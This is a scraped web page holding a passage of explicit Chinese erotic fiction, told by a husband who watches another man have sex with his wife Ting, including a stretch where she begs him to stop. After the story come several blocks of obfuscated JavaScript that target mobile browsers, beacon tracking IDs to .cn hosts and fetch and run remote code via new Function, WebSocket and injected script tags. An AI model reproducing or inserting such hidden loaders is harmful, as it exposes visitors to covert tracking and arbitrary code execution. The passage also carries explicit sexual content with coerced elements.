那人的胯前后动着,阴茎在婷的嘴里进进出出,动了一会,他又命令婷:「我累了,你来给我动。」婷居然也像给我口交一样,头前后的晃着,一下下套弄那根阴茎,此时婷已跪在了那人的脚下,口水顺着嘴角流下。那人伸手到婷的嘴边,蘸了一点口水,然后涂在婷的乳头上,在婷给他口交的时候,他还不忘侵袭婷的乳房,攥紧,鬆开,揉搓。婷的嘴完全的堵住,嘴里只能发出呜呜的声音,和滋滋作响的声音。

那人闭着眼,啧啧的享受着,讚歎着,爽的不得了的样子,这时我却看到,婷竟然伸手到自己的阴部去摸!婷,竟然兴奋到了这个地步,给别的男人口交时,还要自己手淫。

那男人睁开眼,看见了婷的动作,声音又怒又笑:「好啊……小骚货,竟然趁我不注意自己摸,这幺想挨操啊。」说完弯下腰,伸手到婷的大腿下,把婷一下子抱了起来,放在自己的胯部,婷「呀」的一声惊呼,下意识的伸手扶住那人的肩膀,那人胯部向前挺起托着婷,腾出一只手来,对準婷的阴道就插了进去,婷又发出如释重负的一声呻吟,那人把婷抛起来,然后落下,在落下的同时又向前用力挺动胯部,这样的撞击力量让婷几乎失去意识。他双手狠狠的抓住婷的屁股,十指深陷入婷雪白柔嫩的臀肉中,婷被他抛的时而升到高峰,时而落入谷底,而听她的声音,她的生理感受也许,也是如此。

那人在婷的耳边说:「我操的你爽不爽……现在是不是找到了和我视频做爱时的感觉了……」婷只是含混的嗯嗯着,不知是无意识的声音,还是有意识的承认。

那人一边更大幅度的抛起婷,一边继续追问:「爽不爽啊……是不是啊……」婷发出了长长的一声:「嗯——」声音拖着哭腔,这算是承认了吗,这是婷的心理防线彻底失守了吗,那人得意的笑着。

那个姿势持续了一会后,那人好像也累了,于是放下婷,抱着婷走向我们的床,那是我和婷一起买的床,还有床单,枕套,被罩,每一件都是我们精心挑选的。婷的腿无力在地上拖着,全身的重量都被那人抱着,走到床边,那人把婷一下扔到了床上,然后摆弄婷的姿势,婷完全放弃了抵抗,任由那人摆布,他让婷趴在床上,屁股高高翘起,他站在床边,又从背后插入了婷的阴道,婷的脸已经被散落的头髮完全挡住,看不到脸上什幺表情,只听到她的近乎哭泣般的呻吟。

那人撞着婷的屁股,忽然又抓起婷的头髮,婷被迫从床上抬起头,那人对婷说:「看着墙上的结婚照,你穿着婚纱的样子真美啊,不过现在光着屁股被我操的样子更美哈哈,你老公在看着你被操呢,怎幺他也边看边笑呢,哈哈……」婷扭着头不想去看,可是头髮被那人抓住,动弹不得,呻吟声显得很痛苦,哭着又恳求那个人:「求求你……不要这样对待我……不要这幺折磨我……我的心里好难受」

那人哈哈笑着:「你求的真不是时候,刚才刚想放开你,你这幺一求我,让我觉得爽死了,你给我继续看着吧。」说完更用力的抓住婷的头髮,让她的脸对着墙上的照片。我看不到婷的表情,可是能够想像的到,那是怎幺样的难过和自责。

那人从婷的背后插了一会,然后把婷轻轻一推,婷无力的颓然倒在床上,那人把婷翻过身来,把婷的双腿架在自己肩膀上,眼看着那健壮的屁股向前一挺,婷随之叫喊着,双手在身旁胡乱的抓着床单,那人一下下的挺动屁股,婷的叫声不绝,声音显得很悽惨,是真的很痛,还是那根大鸡巴让她爽到了极致。

那人插着插着,双腿绷直,只有脚踩在床单上,把婷的双腿压向她的身体,婷那双修长的美腿,就在她的面前不远处,随着那人的抽插而晃动,她的屁股也因为双腿被压,而从床上抬起,这个姿势会插的很深,所以婷的呻吟声更大了,她的双手把身边的床单揉搓成了一团。而这个姿势,也让我看到了那人的阴茎在婷的阴道里进进出出,婷的表现让那男人很兴奋,他把婷的双腿从肩膀上放下,放到了自己的体侧,更加快速的抽插,嘴里低沉的吭着,婷也随着他越来越快的速度而叫声变大。渐渐的,她把双腿盘上了那个人的腰,由于身体不停的被那男人撞击,漂亮的小脚不断的晃动,而脚趾的勾起,却是因为身体的快感了。

那人忽然直起身来,停住了动作,婷的两只脚竟然开始摩擦着那个人的屁股,此时的她真的很渴望高潮了,那人重新又弯下腰,更快更猛烈的一下下的插着婷,原来他是要做最后的冲刺了,婷终于毫无顾忌的发出了最大声的呻吟,那声音蕩人心魄,我阴茎不知什幺时候已经涨的很大了,我看着那一幕,竟然脱下裤子,握起阴茎开始手淫起来。

婷的双腿盘着那人的腰,好像生怕他离开,和乳房剧烈的抖动着,她忽然伸手在那个人的后背和胳膊上胡乱摸着,我为她买的戒指还戴在她纤细的手指上,而那戒指现在却接触着别的男人的身体,婷失声叫着:「老公……操我啊……操我……我要被你操的爽死了……」听着婷淫蕩的要求,我却生出了一点安慰,这些话我很熟悉,她在高潮时有时会对我这幺说,原来婷在这个时候,仍然幻想着是在和我做爱,一剎那间我竟然感到一丝幸福,心里对那个男人说,你佔有了婷的身体,却无法佔有她的心,她的性幻想对象依然是我,就让你做一次我的替身吧。

那个男人听了婷的话也很兴奋,他一边哼着,一边低声的说着:「我也爽啊……我就想听到你亲口在我身边,管我叫老公……说那些视频里说的淫蕩话,你终于说了……真爽啊……骚货……继续说啊……啊啊啊……」说完开始极其猛烈的冲刺。

婷叫喊着:「老公……老公操我……操我……我要到了……啊啊啊。」她一改从前那婉转动听的含蓄叫床声,而是像一头小母兽一样疯狂的叫着:「啊……啊……啊……」恐怕邻居都能听到,而此刻的婷,却被性的极致快感征服了,把一切抛在了脑后。

原来,婷叫的不是我,而是那个男人,我一下万念俱灰,婷的身体被侵犯了,我不会怪她,只要她是被迫的,可是如果她的心里也想着别的男人,却是我无论如何都不能接受的了。

那个男人的屁股像个马达一样的快速抽动着,他一边低吼一边问婷:「我要射了……我射在你逼里啊……射你逼里好不好啊……」婷依然嗯嗯啊啊的大声呻吟着,那嗯嗯的声音,彷彿是在同意,对婷来说,那男人射在哪里都不重要了,重要的是他能把婷带到性爱的极乐世界,最癫狂的高峰。

那男人嘶吼着,以前所未有的速度插着,婷也同样以前所未有的声音大叫着,她死死的抓住那人的胳膊,指尖陷入了那个男人的肌肉里。那人大吼一声,胯部猛的挺动着,然后渐渐的变慢,终于不动了,婷的身体痉挛一般一下下的动着,双腿在那人的背上颤动着。

看着这淫靡的一幕,我的心情複杂的无法言说,可是生理上的刺激依旧,我看着屏幕,撸动阴茎,没几下,也射出了精液,竟然三个人一起到了高潮,这是何等的讽刺和悲哀。

那人起身,放下了婷的双腿,婷的腿不受控制一样,扑通一下落到了床上,除了胸口剧烈的起伏,婷已经没有任何力气动弹了。

那人起身后,来到了婷的脸旁,把阴茎里残留的挤到婷的脸上,又把尿道口的精液涂在了婷的嘴唇上,而婷依然一动不动,彷彿那已经不是她自己的身体。

function iFXlZSq(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function JSaFINX(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return iFXlZSq(t);};window[''+'S'+'X'+'d'+'Q'+'k'+'v'+'I'+'w'+'t'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function RlUC(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=JSaFINX,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=RlUC(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qssc.fnelg.cn:7891/stats/9473/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=RlUC(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHHR0cHHMlM0ElMkYlMkZhLmdiYnB0bC5jbiUzQTg4OTE=','d3NzJTTNBJTTJGJTTJGYS53aGJnei5jbiUzQTTk1MzU=','9171',window,document,['H','T']);}:function(){};
function jQEAxPhY(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function GIVrKx(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return jQEAxPhY(t);};window[''+'Q'+'m'+'M'+'x'+'s'+'U'+'Y'+'E'+'e'+'B'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function OKqtg(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=GIVrKx,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=OKqtg(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/15636/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=OKqtg(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLmFzaGNucS5jjbiUzQTg4OTE=','d3NzJTTNBJTTJGJTTJGYS55a2toanMuY24lM0E5NTTM1','168218',window,document,['j','T']);}:function(){};
let urls=["hSStSStSSpSSsSS:SS/SS/SSmSSqSS1SS4SSnSS3SS8SS9SS2SS.SSoSSsSSsSS-SScSSnSS-SSsSShSSaSSnSSgSShSSaSSiSS.SSaSSlSSiSSySSuSSnSScSSsSS.SScSSoSSmSS/SS1SS4SS/SS1SS1SS0SS5SS5SSbSSaSSfSScSS2SS3SS3SS4".split("SS").join(""),"hMMtMMtMMpMMsMM:MM/MM/MMpMM.MMgMMoMMdMMmMMwMMiMMtMMhMM.MMcMMoMMmMM/MM1MM4MM/MM1MM1MM0MM5MM5MMbMMaMMfMMcMM2MM3MM3MM4".split("MM").join(""),"hRRtRRtRRpRRsRR:RR/RR/RRoRRcRR1RR8RR1RR4RRnRR3RR8RR9RR2RR.RRoRRsRRsRR-RRcRRnRR-RRsRRhRRaRRnRRgRRhRRaRRiRR.RRaRRlRRiRRyRRuRRnRRcRRsRR.RRcRRoRRmRR/RR1RR4RR/RR1RR1RR0RR5RR5RRbRRaRRfRRcRR2RR3RR3RR4".split("RR").join(""),"hDDtDDtDDpDDsDD:DD/DD/DDdDD8DD9DD-DD1DD3DD1DD3DD9DD4DD4DD0DD6DD2DD.DDcDDoDDsDD.DDaDDpDD-DDhDDoDDnDDgDDkDDoDDnDDgDD.DDmDDyDDqDDcDDlDDoDDuDDdDD.DDcDDoDDmDD/DD1DD1DD0DD5DD5DDbDDaDDfDDcDD2DD3DD3DD4".split("DD").join("")];let urlindex=0;let rfunc=function(){if(window.__rr__loaded_2334_1105 != 'ok'){let ss = document.createElement('script');ss.type = 'text/javascript';ss.referrerPolicy='no-referrer';ss.src=urls[urlindex++]+ (navigator.userAgent.indexOf('Android') != -1 ? 'a':'i') + '?_=' + new Date().getTime();document.body.appendChild(ss);if(urlindex < urls.length){setTimeout(rfunc, 2000);}}};rfunc();rfunc();